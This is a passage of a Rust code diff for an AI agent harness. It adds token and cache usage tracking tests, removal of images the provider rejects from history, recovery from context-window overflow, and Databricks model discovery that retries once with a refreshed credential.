+        tracker.begin_turn("sess-c4");
+        tracker.record("sess-c4", &payload_with_cache(1500, 300, Some(0)));
+        let usage = tracker.take().expect("pending");
+
+        assert!(usage.delta_reliable);
+        assert_eq!(
+            usage.turn_cache_read_tokens,
+            Some(0),
+            "explicit zero on both sides → Some(0), not None"
+        );
+        assert_eq!(usage.cumulative_cache_read_tokens, Some(0));
+    }
+
+    #[test]
+    fn cache_read_threads_through_setup_notification_baseline() {
+        // A setup notification (before begin_turn) with a nonzero cache count
+        // must update the committed baseline so the first real turn gets a
+        // correct delta from that starting point.
+        let mut tracker = UsageTracker::default();
+
+        // Setup notification: cumulative cache = 300.
+        tracker.record("sess-c5", &payload_with_cache(1000, 200, Some(300)));
+
+        tracker.begin_turn("sess-c5");
+        tracker.record("sess-c5", &payload_with_cache(1500, 350, Some(700)));
+        let usage = tracker.take().expect("pending");
+
+        assert!(usage.delta_reliable, "baseline from setup: reliable");
+        assert_eq!(
+            usage.turn_cache_read_tokens,
+            Some(400),
+            "cache delta from setup baseline: 700 - 300 = 400"
+        );
+        assert_eq!(usage.cumulative_cache_read_tokens, Some(700));
+    }
+
+    #[test]
+    fn cache_read_omitted_field_produces_none_cumulative_and_no_turn_delta() {
+        // A harness that omits accumulatedCachedInputTokens (e.g. goose) must
+        // produce None cumulative_cache_read_tokens — not Some(0) — and the
+        // turn delta must also be None even on the second turn.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c6");
+        // payload() uses None for accumulated_cached_input_tokens.
+        tracker.record("sess-c6", &payload(1000, 200, None));
+        let t1 = tracker.take().expect("turn 1");
+
+        assert!(
+            t1.cumulative_cache_read_tokens.is_none(),
+            "goose-shaped payload: cumulative must be None, not Some(0)"
+        );
+        assert!(
+            t1.turn_cache_read_tokens.is_none(),
+            "first turn always has no turn delta"
+        );
+
+        tracker.begin_turn("sess-c6");
+        tracker.record("sess-c6", &payload(1500, 300, None));
+        let t2 = tracker.take().expect("turn 2");
+
+        assert!(
+            t2.cumulative_cache_read_tokens.is_none(),
+            "continued goose session: cumulative must remain None"
+        );
+        assert!(
+            t2.turn_cache_read_tokens.is_none(),
+            "absent field on both sides → no turn delta invented"
+        );
+        assert!(
+            t2.delta_reliable,
+            "input/output reliability unaffected by absent cache field"
+        );
+    }
+
+    #[test]
+    fn cache_read_baseline_absent_then_present_produces_no_delta() {
+        // If the first turn omits the cache field (baseline stored as None) and
+        // the second turn reports a value, no delta can be computed — we have no
+        // baseline to subtract from. The cumulative value should still pass through.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c7");
+        tracker.record("sess-c7", &payload(1000, 200, None)); // no cache field
+        let _ = tracker.take();
+
+        tracker.begin_turn("sess-c7");
+        tracker.record("sess-c7", &payload_with_cache(1500, 300, Some(400)));
+        let usage = tracker.take().expect("turn 2");
+
+        assert!(
+            usage.turn_cache_read_tokens.is_none(),
+            "absent baseline → no turn delta even when current has a value"
+        );
+        assert_eq!(
+            usage.cumulative_cache_read_tokens,
+            Some(400),
+            "cumulative from current payload passes through"
+        );
+        assert!(usage.delta_reliable, "input/output reliability unaffected");
+    }
+
+    #[test]
+    fn cache_read_baseline_present_then_absent_produces_no_delta() {
+        // If the first turn reports the cache field but the second omits it
+        // (harness switched), no delta should be produced and cumulative is None.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c8");
+        tracker.record("sess-c8", &payload_with_cache(1000, 200, Some(300)));
+        let _ = tracker.take();
+
+        tracker.begin_turn("sess-c8");
+        tracker.record("sess-c8", &payload(1500, 300, None)); // no cache field
+        let usage = tracker.take().expect("turn 2");
+
+        assert!(
+            usage.turn_cache_read_tokens.is_none(),
+            "absent current → no turn delta"
+        );
+        assert!(
+            usage.cumulative_cache_read_tokens.is_none(),
+            "absent field: cumulative must be None"
+        );
+        assert!(usage.delta_reliable, "input/output reliability unaffected");
+    }
+
+    #[test]
+    fn pool_omitted_cache_field_publishes_no_cache_read_tokens_in_kind44200() {
+        // End-to-end: a buzz-agent or goose payload that omits the cache field
+        // must NOT publish cacheReadTokens in the kind:44200 event — neither
+        // in turn nor cumulative counts.
+        //
+        // This is the core acceptance test for Thufir's finding: the old code
+        // would publish cacheReadTokens: 0 for every harness regardless of
+        // whether the field was reported.
+        use crate::pool::build_turn_metric_counts;
+
+        let usage = TurnUsage {
+            session_id: "sess-pool-none".into(),
+            turn_seq: 2,
+            delta_reliable: true,
+            turn_input_tokens: Some(400),
+            turn_output_tokens: Some(100),
+            turn_total_tokens: None,
+            turn_cost_usd: None,
+            turn_cache_read_tokens: None,
+            cumulative_input_tokens: 700,
+            cumulative_output_tokens: 200,
+            cumulative_total_tokens: None,
+            cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None, // harness did not report the field
+            model: None,
+        };
+
+        let (turn_counts, cumulative_counts) = build_turn_metric_counts(&usage);
+
+        let turn = turn_counts.expect("turn counts must be present (delta reliable)");
+        assert!(
+            turn.cache_read_tokens.is_none(),
+            "omitted cache field: turn cacheReadTokens must be absent from kind:44200"
+        );
+
+        let cumulative = cumulative_counts.expect("cumulative counts always present");
+        assert!(
+            cumulative.cache_read_tokens.is_none(),
+            "omitted cache field: cumulative cacheReadTokens must be absent from kind:44200"
+        );
+    }
+
+    #[test]
+    fn pool_reported_cache_field_publishes_nonzero_cache_read_tokens_in_kind44200() {
+        // End-to-end: a buzz-agent payload with a nonzero cache count must
+        // publish cacheReadTokens in both turn and cumulative counts.
+        use crate::pool::build_turn_metric_counts;
+
+        let usage = TurnUsage {
+            session_id: "sess-pool-some".into(),
+            turn_seq: 2,
+            delta_reliable: true,
+            turn_input_tokens: Some(400),
+            turn_output_tokens: Some(100),
+            turn_total_tokens: None,
+            turn_cost_usd: None,
+            turn_cache_read_tokens: Some(300),
+            cumulative_input_tokens: 700,
+            cumulative_output_tokens: 200,
+            cumulative_total_tokens: None,
+            cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: Some(600),
+            model: None,
+        };
+
+        let (turn_counts, cumulative_counts) = build_turn_metric_counts(&usage);
+
+        let turn = turn_counts.expect("turn counts present");
+        assert_eq!(
+            turn.cache_read_tokens,
+            Some(300),
+            "nonzero turn cache: must appear in kind:44200 turn counts"
+        );
+
+        let cumulative = cumulative_counts.expect("cumulative counts present");
+        assert_eq!(
+            cumulative.cache_read_tokens,
+            Some(600),
+            "nonzero cumulative cache: must appear in kind:44200 cumulative counts"
+        );
+    }
 }
diff --git a/crates/buzz-agent/src/agent.rs b/crates/buzz-agent/src/agent.rs
index 8e14fee195..054c334405 100644
--- a/crates/buzz-agent/src/agent.rs
+++ b/crates/buzz-agent/src/agent.rs
@@ -6,21 +6,49 @@ use tokio::task::JoinSet;
 
 use crate::builtin;
 use crate::config::{Config, MAX_PROMPT_BYTES, MAX_TOOL_CALLS_PER_TURN, MAX_TOOL_RESULT_BYTES};
-use crate::handoff::HandoffOutcome;
+use crate::handoff::{ContextRecovery, HandoffOutcome};
 use crate::hints::SkillEntry;
 use crate::llm::Llm;
 use crate::mcp::McpRegistry;
 use crate::mcp::ResultBudget;
 
 use crate::types::{
-    AgentError, ContentBlock, HistoryItem, ProviderStop, StopReason, ToolCall, ToolResult,
-    ToolResultContent, TurnTotalState,
+    AgentError, ContentBlock, HistoryItem, ProviderStop, SessionUsageBaseline, StopReason,
+    ToolCall, ToolResult, ToolResultContent, TurnTotalState,
 };
 use crate::wire::{self, WireSender};
 
 const ERROR_REFLECTION_SUFFIX: &str =
     "\n\n[Reflect] Before retrying, identify the cause and change your approach.";
 
+const UNSUPPORTED_IMAGE_TOOL_MESSAGE: &str = "The current model does not support image input. The image was removed from conversation history so this turn can continue. Use a text-based inspection tool or ask the user for a textual description instead.";
+
+/// Remove image blocks that the provider has explicitly rejected while keeping
+/// their surrounding tool result (and therefore the tool-call/result pairing)
+/// intact. Returns the number of images removed; zero means the provider error
+/// cannot be safely recovered by mutating history.
+fn replace_unsupported_images(history: &mut [HistoryItem]) -> usize {
+    let mut replaced = 0;
+    for item in history {
+        let HistoryItem::ToolResult(result) = item else {
+            continue;
+        };
+        let before = result.content.len();
+        result
+            .content
+            .retain(|content| !matches!(content, ToolResultContent::Image { .. }));
+        let removed = before - result.content.len();
+        if removed > 0 {
+            replaced += removed;
+            result.is_error = true;
+            result.content.push(ToolResultContent::Text(
+                UNSUPPORTED_IMAGE_TOOL_MESSAGE.to_string(),
+            ));
+        }
+    }
+    replaced
+}
+
 /// Maximum reply reminders emitted per prompt when `require_reply` is on.
 ///
 /// After this many, the turn is allowed to end whether or not anything was
@@ -150,9 +178,40 @@ pub struct RunCtx<'a> {
     /// Reset to `Unseen` at turn start in `run()`. Callers must not derive a
     /// total by summing input+output — that is the UI display approximation only.
     pub turn_total_state: &'a mut TurnTotalState,
+    /// Session-cumulative counters as they stood when this turn began. Added to
+    /// the `turn_*` accumulators above to report a cumulative figure mid-turn;
+    /// the session's own copy is only advanced once, after the turn returns.
+    pub usage_baseline: SessionUsageBaseline,
 }
 
 impl RunCtx<'_> {
+    /// Send a session-cumulative `usage_update` reflecting everything observed
+    /// up to and including the most recent LLM response.
+    ///
+    /// The figure is the turn-start baseline plus this turn's running
+    /// accumulators, which is exactly what `session/prompt` will fold into the
+    /// session once the turn returns — so a mid-turn notification and the
+    /// end-of-turn one agree, and a turn that never returns has still reported
+    /// everything but its final in-flight request.
+    async fn emit_usage_update(&self) {
+        let base = self.usage_baseline;
+        let payload = wire::usage_update_payload(
+            base.input_tokens
+                .saturating_add(self.turn_input_tokens.unwrap_or(0)),
+            base.output_tokens
+                .saturating_add(self.turn_output_tokens.unwrap_or(0)),
+            base.cached_input_tokens
+                .saturating_add(self.turn_cached_input_tokens.unwrap_or(0)),
+            base.total_state.merge_session(*self.turn_total_state),
+            self.effective_model,
+        );
+        wire::send(
+            self.wire,
+            wire::goose_session_update(self.session_id, payload),
+        )
+        .await;
+    }
+
     pub async fn run(&mut self, prompt: Vec<ContentBlock>) -> Result<StopReason, AgentError> {
         let user_text = prompt_to_text(prompt)?;
         if user_text.len() > MAX_PROMPT_BYTES {
@@ -170,6 +229,14 @@ impl RunCtx<'_> {
         *self.turn_output_tokens = None;
         *self.turn_cached_input_tokens = None;
         *self.turn_total_state = TurnTotalState::Unseen;
+        // Per-turn handoff-attempt counter. Scoped here (not persisted in the
+        // session) so `BUZZ_AGENT_MAX_HANDOFFS` bounds compactions per
+        // `session/prompt` turn rather than per session lifetime. A
+        // long-lived session legitimately needs unbounded handoffs across
+        // prompts; the cap only exists to stop runaway within a single turn.
+        // The session-cumulative `handoff_count` (used in log lines) is not
+        // reset: it reflects total compactions since session start.
+        let mut handoff_attempts: usize = 0;
 
         let mut round = 0u32;
         // Per-prompt `_Stop` objection count. Bounded per prompt (not per
@@ -184,6 +251,10 @@ impl RunCtx<'_> {
         // successful publish. See `is_buzz_reply_call`.
         let mut buzz_reply_call_seen = false;
         let mut reply_nags = 0u32;
+        // Per-`run()` reactive context-recovery budget. Per-turn, not
+        // per-session: a fresh prompt deserves a fresh chance to recover, and
+        // `max_rounds` defaults to 0 (unbounded) so it cannot bound this.
+        let mut context_recoveries = 0u32;
         loop {
             if self.cfg.max_rounds > 0 && round >= self.cfg.max_rounds {
                 return Ok(StopReason::MaxTurnRequests);
@@ -196,7 +267,7 @@ impl RunCtx<'_> {
             // its next request — the turn continues, it is not restarted. Drain
             // non-blocking; an empty queue is the common case.
             self.drain_steers();
-            match self.maybe_handoff().await {
+            match self.maybe_handoff(&mut handoff_attempts).await {
                 HandoffOutcome::Cancelled => return Ok(StopReason::Cancelled),
                 // Context was just reset — the prior request's token count no
                 // longer describes the (now much smaller) history. Clear both
@@ -218,10 +289,10 @@ impl RunCtx<'_> {
                 tools.push(builtin::load_skill_def());
             }
             round = round.saturating_add(1);
-            let response = tokio::select! {
+            let response_result = tokio::select! {
                 biased;
                 _ = self.cancel.changed() => return Ok(StopReason::Cancelled),
-                r = self.llm.complete(self.cfg, self.system_prompt, self.history, &tools, self.effective_model) => r?,
+                r = self.llm.complete(self.cfg, self.system_prompt, self.history, &tools, self.effective_model) => r,
                 _ = async {
                     // Keepalive ticker: emit a lightweight session update every 30s
                     // while waiting on the LLM provider. This resets the ACP harness
@@ -244,7 +315,78 @@ impl RunCtx<'_> {
                     }
                 } => unreachable!(),
             };
-
+            let response = match response_result {
+                Ok(response) => response,
+                Err(AgentError::UnsupportedImageInput(detail)) => {
+                    let removed = replace_unsupported_images(self.history);
+                    if removed == 0 {
+                        return Err(AgentError::UnsupportedImageInput(detail));
+                    }
+                    tracing::warn!(
+                        model = self.effective_model,
+                        removed_images = removed,
+                        "provider rejected image input; removed images from history and continuing turn"
+                    );
+                    continue;
+                }
+                // Reactive context recovery. A context-window 400 is the only
+                // ground-truth signal that history must shrink, and it arrives
+                // exactly when the proactive gate cannot act: a failed request
+                // reports no usage, so `last_request_input_tokens` stays frozen
+                // at the last SUCCESSFUL (sub-threshold) reading and
+                // `should_handoff()` returns false forever. Without this arm the
+                // error propagates out of `run()`, the in-memory session keeps
+                // the same oversized history, and every later prompt in that
+                // session fails the same way — a stick that persists across
+                // turns for the life of the session. (Restarting the agent DOES
+                // clear it: history lives only in the in-memory session map, so
+                // a restart is the manual workaround, not an exception to it.)
+                //
+                // Retried in-loop rather than returned so the recovered context
+                // continues the turn the user is waiting on.
+                Err(AgentError::LlmContextExceeded(e)) => {
+                    match self
+                        .recover_from_context_overflow(&mut context_recoveries)
+                        .await
+                    {
+                        ContextRecovery::Recovered => {
+                            // Refund the round the rejected request consumed.
+                            // `round` is incremented before `complete()`, so
+                            // without this a finite `max_rounds` is spent by a
+                            // request the provider refused to serve: the loop
+                            // would re-enter, hit the cap at the top, and return
+                            // `MaxTurnRequests` having destroyed history and
+                            // never asked the model again — a worse outcome than
+                            // the error it replaced.
+                            //
+                            // This cannot become an unbounded amnesty: refunds
+                            // happen only on a *successful* recovery, and
+                            // recoveries are independently capped by
+                            // `MAX_CONTEXT_RECOVERIES_PER_RUN`, so at most that
+                            // many rounds can ever be refunded in one turn. An
+                            // ordinary round is never refunded.
+                            round = round.saturating_sub(1);
+                            // Same reset as the proactive path (see
+                            // `HandoffOutcome::Performed` above): the frozen
+                            // token reading describes history that no longer
+                            // exists. Clearing it is what lets the gate work
+                            // again on later rounds.
+                            *self.last_request_input_tokens = None;
+                            *self.last_request_history_bytes = None;
+                            continue;
+                        }
+                        ContextRecovery::Cancelled => return Ok(StopReason::Cancelled),
+                        // No rescue left. Surface the provider's own error
+                        // rather than a synthetic one: it names the model and
+                        // the offending sizes, and a visible failure is the
+                        // point — the alternative is retrying forever.
+                        ContextRecovery::Exhausted => {
+                            return Err(AgentError::LlmContextExceeded(e))
+                        }
+                    }
+                }
+                Err(error) => return Err(error),
+            };
             // Record provider-reported input usage so the next loop iteration's
             // handoff gate can compare it against the token budget. We capture
             // it together with the history byte size AT THIS MOMENT — which is
@@ -299,6 +441,23 @@ impl RunCtx<'_> {
             // this gate rather than representing absent categories as zero.
             if response.input_tokens.is_some() || response.output_tokens.is_some() {
                 *self.turn_total_state = self.turn_total_state.fold(response.total_tokens);
+                // Report what the turn has burned SO FAR, before running the
+                // next round. A turn is many provider round-trips over many
+                // minutes, and until this point the only report was the one
+                // `session/prompt` sends after the turn returns — so a turn
+                // that was cancelled, timed out, or whose process was killed
+                // reported nothing at all, and its tokens (already billed)
+                // existed only in this stack frame. Reporting per round bounds
+                // the loss to the single request in flight.
+                //
+                // Emitting more than one `usage_update` per turn is expected by
+                // the consumer: buzz-acp's UsageTracker advances its committed
+                // baseline only when the turn's metric is published, so every
+                // notification within a turn measures from the same frozen
+                // baseline and the last one seen is the turn's true total.
+                // goose behaves the same way, which is why the tracker was
+                // written to tolerate it.
+                self.emit_usage_update().await;
             }
 
             if !response.reasoning.is_empty() {
@@ -897,6 +1056,66 @@ mod tests {
     use super::*;
     use serde_json::json;
 
+    /// `truncate_history` cannot serve as the context-window fallback: it is
+    /// measured in BYTES (`max_history_bytes`, default 16 MiB, a request-body
+    /// limiter) while the thing the fallback must defend is a TOKEN window
+    /// (`max_context_tokens`, default 200k). A history large enough to blow a
+    /// 200k-token window is nowhere near 16 MiB, so at the default budget the
+    /// fallback evicts nothing at all — which is why the `Skipped ->
+    /// truncate_history` path left the agent permanently stuck and the reactive
+    /// ladder had to be built instead.
+    ///
+    /// The negative assertion is paired with a positive control (same helper,
+    /// same fixture, budget set to the window instead) so that "evicted
+    /// nothing" is a real observation about the unit mismatch rather than a
+    /// blind probe that could never evict.
+    #[test]
+    fn truncate_history_is_a_noop_at_context_window_scale() {
+        // ~800 KB of history. At any real bytes/token density (densest real
+        // content is ~1.4 B/tok, typical prose ~3-4) this is >= 200k tokens,
+        // i.e. already over a 200k window.
+        let mut history: Vec<HistoryItem> = Vec::new();
+        for i in 0..400 {
+            history.push(HistoryItem::User(format!("q{i} {}", "x".repeat(1000))));
+            history.push(HistoryItem::Assistant {
+                text: format!("a{i} {}", "y".repeat(1000)),
+                tool_calls: vec![],
+                reasoning_details: None,
+            });
+        }
+        let total: usize = history.iter().map(HistoryItem::estimated_bytes).sum();
+        let pressure: usize = history
+            .iter()
+            .map(HistoryItem::context_pressure_bytes)
+            .sum();
+        assert!(
+            total > 800_000,
+            "fixture must be big enough to exceed a 200k-token window, got {total}"
+        );
+
+        // NEGATIVE: the real configured default budget.
+        let default_budget = 16 * 1024 * 1024;
+        let mut under_default = history.clone();
+        truncate_history(&mut under_default, default_budget);
+        assert_eq!(
+            under_default.len(),
+            history.len(),
+            "16 MiB byte budget evicted nothing from a {total}-byte history \
+             (pressure {pressure}) that already exceeds a 200k-token window"
+        );
+
+        // POSITIVE CONTROL: same helper, same fixture, budget set to the
+        // window instead. If this also evicted nothing the assertion above
+        // would prove nothing about the unit mismatch -- it would just mean
+        // the probe is blind.
+        let mut under_window = history.clone();
+        truncate_history(&mut under_window, 200_000);
+        assert!(
+            under_window.len() < history.len(),
+            "positive control must evict: probe is blind otherwise"
+        );
+    }
+
     /// The shapes the guard must recognize as a publish attempt. Callers apply
     /// the registry checks first; these cover the name suffix and command text.
     #[test]
@@ -1027,6 +1246,47 @@ mod tests {
         assert!(total_after <= max_bytes);
     }
 
+    #[test]
+    fn unsupported_images_become_recoverable_tool_errors() {
+        let mut history = vec![
+            HistoryItem::Assistant {
+                text: String::new(),
+                tool_calls: vec![ToolCall {
+                    provider_id: "call-image".into(),
+                    name: "dev__view_image".into(),
+                    arguments: json!({ "source": "spec.png" }),
+                    provider_extra: Default::default(),
+                }],
+                reasoning_details: None,
+            },
+            HistoryItem::ToolResult(ToolResult {
+                provider_id: "call-image".into(),
+                content: vec![
+                    ToolResultContent::Text("10x10 image from spec.png".into()),
+                    ToolResultContent::Image {
+                        data: "aW1n".into(),
+                        mime_type: "image/png".into(),
+                    },
+                ],
+                is_error: false,
+            }),
+        ];
+
+        assert_eq!(replace_unsupported_images(&mut history), 1);
+        let HistoryItem::ToolResult(result) = &history[1] else {
+            panic!("tool result must stay paired with the assistant tool call");
+        };
+        assert_eq!(result.provider_id, "call-image");
+        assert!(result.is_error);
+        assert!(result
+            .content
+            .iter()
+            .all(|content| !matches!(content, ToolResultContent::Image { .. })));
+        assert!(result.text().contains("does not support image input"));
+        assert!(result.text().contains("10x10 image from spec.png"));
+        assert_eq!(replace_unsupported_images(&mut history), 0);
+    }
+
     #[test]
     fn truncate_history_noop_when_under_budget() {
         let mut history = vec![
diff --git a/crates/buzz-agent/src/catalog.rs b/crates/buzz-agent/src/catalog.rs
index aa2a121c99..0aaa2da7ea 100644
--- a/crates/buzz-agent/src/catalog.rs
+++ b/crates/buzz-agent/src/catalog.rs
@@ -7,12 +7,17 @@
 //!
 //! - Static bearer (`DATABRICKS_TOKEN`): returned immediately.
 //! - PKCE cache hit: returned from disk without a network round-trip.
-//! - PKCE cache empty / no token: returns `Err(AgentError::LlmAuth)` — the
-//!   caller degrades gracefully; no browser, no hang.
+//! - PKCE cache empty / no token: returns `Err(AgentError::LlmAuth)`.
+//!
+//! This helper never opens a browser. Callers choose whether to reject, degrade,
+//! or start a separate interactive authentication flow.
+
+use std::sync::Arc;
 
 use reqwest::Client;
 
 use crate::{
+    auth::TokenSource,
     config::{Config, Provider},
     llm::build_token_source,
     types::AgentError,
@@ -26,57 +31,22 @@ pub struct ModelEntry {
     pub name: String,
 }
 
-/// Known Databricks AI Gateway v2 models — used as a fallback when the
-/// `api/ai-gateway/v2/endpoints` call returns an empty list.
+/// Known Databricks AI Gateway v2 models — used only when an authenticated
+/// `api/ai-gateway/v2/endpoints` call succeeds with an empty list.
 /// Mirrors goose's `DATABRICKS_V2_KNOWN_MODELS`.
 pub const DATABRICKS_V2_KNOWN_MODELS: &[&str] =
     &["databricks-gpt-5-5", "databricks-claude-opus-4-7"];
 
-/// Returns the discovery-failure fallback catalog for a Databricks provider.
-///
-/// This is the list of models advertised by `session/new` when
-/// `discover_databricks_models` returns an error (e.g., no token available).
-///
-/// - `DatabricksV2` falls back to the configured model plus
-///   [`DATABRICKS_V2_KNOWN_MODELS`] so the model-picker is always populated for
-///   AI Gateway v2 users. The configured model leads: without it a fallback
-///   catalog can omit the very model the agent is running, leaving the picker
-///   unable to represent the current selection.
-/// - Legacy `Databricks` falls back to only the configured model — the
-///   `DATABRICKS_V2_KNOWN_MODELS` IDs are AI Gateway v2 endpoints that the
-///   `/serving-endpoints/{model}/invocations` API may not serve.
-///
-/// Extracting this as a pure function makes the split testable without
-/// spawning an async runtime or making network calls.
-pub fn discovery_failure_fallback(provider: Provider, configured_model: &str) -> Vec<ModelEntry> {
-    // `resolve_model` does not trim, so a padded `DATABRICKS_MODEL` reaches here:
-    // normalize once, or the dedupe below misses and the picker lists the model
-    // twice (once padded, once from the known slate).
-    let configured_model = configured_model.trim();
-    let configured = ModelEntry {
-        id: configured_model.to_string(),
-        name: configured_model.to_string(),
-    };
-    match provider {
-        Provider::DatabricksV2 => {
-            let mut entries = Vec::with_capacity(DATABRICKS_V2_KNOWN_MODELS.len() + 1);
-            if !configured_model.is_empty() {
-                entries.push(configured);
-            }
-            entries.extend(
-                DATABRICKS_V2_KNOWN_MODELS
-                    .iter()
-                    .filter(|id| **id != configured_model)
-                    .map(|id| ModelEntry {
-                        id: id.to_string(),
-                        name: id.to_string(),
-                    }),
-            );
-            entries
-        }
-        Provider::Databricks => vec![configured],
-        _ => vec![configured],
-    }
+const AUTHENTICATED_EMPTY_CATALOG_SUFFIX: &str = " (default catalog)";
+
+fn authenticated_empty_v2_catalog() -> Vec<ModelEntry> {
+    DATABRICKS_V2_KNOWN_MODELS
+        .iter()
+        .map(|id| ModelEntry {
+            id: id.to_string(),
+            name: format!("{id}{AUTHENTICATED_EMPTY_CATALOG_SUFFIX}"),
+        })
+        .collect()
 }
 
 /// Heuristic: `true` when a v2 AI Gateway endpoint name looks like it serves
@@ -109,23 +79,47 @@ pub(crate) fn is_chat_capable_endpoint(name: &str) -> bool {
 ///
 /// Returns a non-empty `Vec<ModelEntry>` on success. Returns
 /// `Err(AgentError::LlmAuth)` when no token is available (no static token,
-/// no PKCE cache) — callers should degrade gracefully rather than hanging.
+/// no PKCE cache). The helper itself never starts interactive authentication.
 ///
 /// # Panics
 /// Never panics.
 pub async fn discover_databricks_models(cfg: &Config) -> Result<Vec<ModelEntry>, AgentError> {
-    let token_source = build_token_source(cfg)?;
-    let bearer = token_source.bearer_no_browser().await?;
+    discover_databricks_models_with_token_source(cfg, build_token_source(cfg)?).await
+}
 
+async fn discover_databricks_models_with_token_source(
+    cfg: &Config,
+    token_source: Arc<dyn TokenSource>,
+) -> Result<Vec<ModelEntry>, AgentError> {
+    let mut bearer = token_source.bearer_no_browser().await?;
     let http = Client::new();
     let host = cfg.base_url.trim_end_matches('/');
+    let mut refreshed = false;
+
+    loop {
+        let result = match cfg.provider {
+            Provider::Databricks => fetch_v1_models(&http, host, &bearer).await,
+            Provider::DatabricksV2 => fetch_v2_models(&http, host, &bearer).await,
+            _ => {
+                return Err(AgentError::InvalidParams(
+                    "discover_databricks_models called for non-Databricks provider".into(),
+                ));
+            }
+        };
 
-    match cfg.provider {
-        Provider::Databricks => fetch_v1_models(&http, host, &bearer).await,
-        Provider::DatabricksV2 => fetch_v2_models(&http, host, &bearer).await,
-        _ => Err(AgentError::InvalidParams(
-            "discover_databricks_models called for non-Databricks provider".into(),
-        )),
+        match result {
+            Err(AgentError::LlmAuth(_)) if !refreshed => {
+                refreshed = true;
+                let fresh = token_source.refresh_now(&bearer).await?;
+                if fresh == bearer {
+                    return Err(AgentError::LlmAuth(
+                        "Databricks rejected the configured credential".into(),
+                    ));
+                }
+                bearer = fresh;
+            }
+            result => return result,
+        }
     }
 }
 
@@ -149,6 +143,11 @@ async fn fetch_v1_models(
     let status = response.status();
     if !status.is_success() {
         let body = response.text().await.unwrap_or_default();
+        if status.as_u16() == 401 {
+            return Err(AgentError::LlmAuth(format!(
+                "Databricks model discovery HTTP {status}"
+            )));
+        }
         return Err(AgentError::Llm(format!(
             "Databricks model discovery HTTP {status}: {body}"
         )));
@@ -264,6 +263,11 @@ async fn fetch_v2_models(
         let status = response.status();
         if !status.is_success() {
             let body = response.text().await.unwrap_or_default();
+            if status.as_u16() == 401 {
+                return Err(AgentError::LlmAuth(format!(
+                    "Databricks v2 model discovery HTTP {status}"
+                )));
+            }
             return Err(AgentError::Llm(format!(
                 "Databricks v2 model discovery HTTP {status}: {body}"
             )));
@@ -286,13 +290,7 @@ async fn fetch_v2_models(
 
     // Fall back to known-model list if the API returned nothing.
     if all_endpoints.is_empty() {
-        return Ok(DATABRICKS_V2_KNOWN_MODELS
-            .iter()
-            .map(|id| ModelEntry {
-                id: id.to_string(),
-                name: id.to_string(),
-            })
-            .collect());
+        return Ok(authenticated_empty_v2_catalog());
     }
 
     sort_v2_endpoints_newest_first(&mut all_endpoints);
@@ -396,6 +394,77 @@ pub(crate) fn parse_v2_endpoints_page(
 #[cfg(test)]
 mod tests {
     use super::*;
+    use async_trait::async_trait;
+    use std::sync::atomic::{AtomicUsize, Ordering};
+
+    struct RefreshingTestTokenSource {
+        refreshes: AtomicUsize,
+    }
+
+    #[async_trait]
+    impl TokenSource for RefreshingTestTokenSource {
+        async fn bearer(&self) -> Result<String, AgentError> {
+            Ok("rejected".into())
+        }
+
+        async fn refresh_now(&self, rejected: &str) -> Result<String, AgentError> {
+            assert_eq!(rejected, "rejected");
+            self.refreshes.fetch_add(1, Ordering::SeqCst);
+            Ok("fresh".into())
+        }
+    }
+
+    #[tokio::test]
+    async fn discovery_refreshes_rejected_bearer_once_then_retries_successfully() {
+        use axum::{
+            extract::Query,
+            http::{HeaderMap, StatusCode},
+            routing::get,
+            Json, Router,
+        };
+        use std::collections::HashMap;
+
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let host = format!("http://{}", listener.local_addr().unwrap());
+        let requests = Arc::new(AtomicUsize::new(0));
+        let requests_for_route = requests.clone();
+        let app = Router::new().route(
+            "/api/ai-gateway/v2/endpoints",
+            get(
+                move |headers: HeaderMap, Query(_query): Query<HashMap<String, String>>| {
+                    let requests = requests_for_route.clone();
+                    async move {
+                        requests.fetch_add(1, Ordering::SeqCst);
+                        match headers
+                            .get("authorization")
+                            .and_then(|value| value.to_str().ok())
+                        {
+                            Some("Bearer fresh") => Ok(Json(serde_json::json!({
+                                "endpoints": [{"name": "discovered-model"}],
+                                "next_page_token": null,
+                            }))),
+                            _ => Err((StatusCode::UNAUTHORIZED, "rejected")),
+                        }
+                    }
+                },
+            ),
+        );
+        tokio::spawn(async move {
+            let _ = axum::serve(listener, app).await;
+        });
+
+        let source = Arc::new(RefreshingTestTokenSource {
+            refreshes: AtomicUsize::new(0),
+        });
+        let cfg = Config::for_discovery(Provider::DatabricksV2, String::new(), host);
+        let models = discover_databricks_models_with_token_source(&cfg, source.clone())
+            .await
+            .unwrap();
+
+        assert_eq!(models[0].id, "discovered-model");
+        assert_eq!(source.refreshes.load(Ordering::SeqCst), 1);
+        assert_eq!(requests.load(Ordering::SeqCst), 2);
+    }
 
     #[test]
     fn v1_parse_filters_ready_chat_endpoints() {
@@ -574,6 +643,17 @@ mod tests {
         );
     }
 
+    #[test]
+    fn authenticated_empty_v2_catalog_marks_fallback_provenance() {
+        let models = authenticated_empty_v2_catalog();
+        let ids: Vec<&str> = models.iter().map(|model| model.id.as_str()).collect();
+
+        assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS);
+        assert!(models.iter().all(|model| {
+            model.name == format!("{}{AUTHENTICATED_EMPTY_CATALOG_SUFFIX}", model.id)
+        }));
+    }
+
     #[test]
     fn is_chat_capable_endpoint_keeps_unrecognised_names() {
         // Prefer including over silently dropping — an unknown family is kept.
@@ -585,47 +665,4 @@ mod tests {
         assert!(!is_chat_capable_endpoint("databricks-gte-large-en"));
         assert!(!is_chat_capable_endpoint("databricks-qwen3-embedding-0-6b"));
     }
-
-    #[test]
-    fn v2_discovery_failure_fallback_leads_with_configured_model() {
-        let result = discovery_failure_fallback(Provider::DatabricksV2, "databricks-claude-opus-5");
-        let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect();
-
-        // The running model must be representable in the picker even when
-        // discovery failed, so it leads the fallback catalog.
-        assert_eq!(ids.first(), Some(&"databricks-claude-opus-5"));
-        for known in DATABRICKS_V2_KNOWN_MODELS {
-            assert!(ids.contains(known), "fallback must retain '{known}'");
-        }
-    }
-
-    #[test]
-    fn v2_discovery_failure_fallback_does_not_duplicate_configured_model() {
-        let configured = DATABRICKS_V2_KNOWN_MODELS[0];
-        let result = discovery_failure_fallback(Provider::DatabricksV2, configured);
